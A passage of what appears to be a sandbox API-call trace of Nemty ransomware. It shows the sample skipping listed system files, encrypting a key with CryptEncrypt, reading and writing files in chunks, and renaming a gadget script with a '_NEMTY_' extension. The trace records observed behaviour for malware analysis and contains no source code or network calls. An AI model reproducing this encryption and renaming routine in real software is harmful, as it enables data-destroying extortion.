lpOverlapped=0x0) returned 0 [0114.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.068] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.068] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6343fe8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.099] CloseHandle (hObject=0xffffffff) returned 0 [0114.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c8 [0114.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344158 [0114.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344200 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\settings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\settings.js._nemty_kgobjgd_")) returned 0 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344200 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340420 | out: hHeap=0x4f90000) returned 1 [0114.099] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="timeZones.js", cAlternateFileName="")) returned 1 [0114.099] lstrcmpiW (lpString1="timeZones.js", lpString2=".") returned 1 [0114.099] lstrcmpiW (lpString1="timeZones.js", lpString2="..") returned 1 [0114.099] lstrcmpiW (lpString1="timeZones.js", lpString2="...") returned 1 [0114.099] lstrcmpiW (lpString1="timeZones.js", lpString2="windows") returned -1 [0114.099] lstrcmpiW (lpString1="timeZones.js", lpString2="$RECYCLE.BIN") returned 1 [0114.099] lstrcmpiW (lpString1="timeZones.js", lpString2="rsa") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="NTDETECT.COM") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="ntldr") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="MSDOS.SYS") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="IO.SYS") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="boot.ini") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="boot.ini") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="AUTOEXEC.BAT") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="ntuser.dat") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="desktop.ini") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="CONFIG.SYS") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="RECYCLER") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="BOOTSECT.BAK") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="bootmgr") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="programdata") returned 1 [0114.100] lstrcmpiW (lpString1="timeZones.js", lpString2="appdata") returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timeZones.js", lpUsedDefaultChar=0x0) returned 12 [0114.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timeZones.js", lpUsedDefaultChar=0x0) returned 12 [0114.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timeZones.js", lpUsedDefaultChar=0x0) returned 12 [0114.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0114.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="timeZones.js", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="timeZones.js", lpUsedDefaultChar=0x0) returned 12 [0114.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340420 [0114.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0114.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340378 [0114.100] Sleep (dwMilliseconds=0x5) [0114.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf7a9aed0, dwHighDateTime=0x1d561e7)) [0114.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf7a9aed0, dwHighDateTime=0x1d561e7)) [0114.112] GetLastError () returned 0x5 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.112] GetLastError () returned 0x5 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0114.112] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0114.112] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0114.112] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653e5dc | out: pszString="SP1TlTfvs/ZWd2tBneN67M08XQp9Dvchop75cTwugsbRJzN30WRg+u3owYm7Ih1I\r\nLINxkMGTe1rkkk+2hN56GW59uGMz23vmm73L+zRNiDGP0hZHb8d7ekZDliMmoX1r\r\nl6i4SLruxzZpp+5frsY8qP53hsrngxZ2B3dd8MrnX500WEKG6Mud01Ts0jVM4ho3\r\nOZFytxQhv8E5Bc6lrsfKdZA0lJA1KWzIANqQEoo5QtsqW6urhyCLU5wr79R7RyOs\r\nqthg+expWizKX29zJKRtjQhoyKXGpaaTu/zxywJ1eBdmHJReayD73SCYQwJA2+VL\r\nbVHus9fV+aLYciJ9lwjiTw==\r\n", pcchString=0x653e5dc) returned 1 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0114.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.112] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\timeZones.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\timezones.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.113] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0114.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.132] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0114.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0114.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 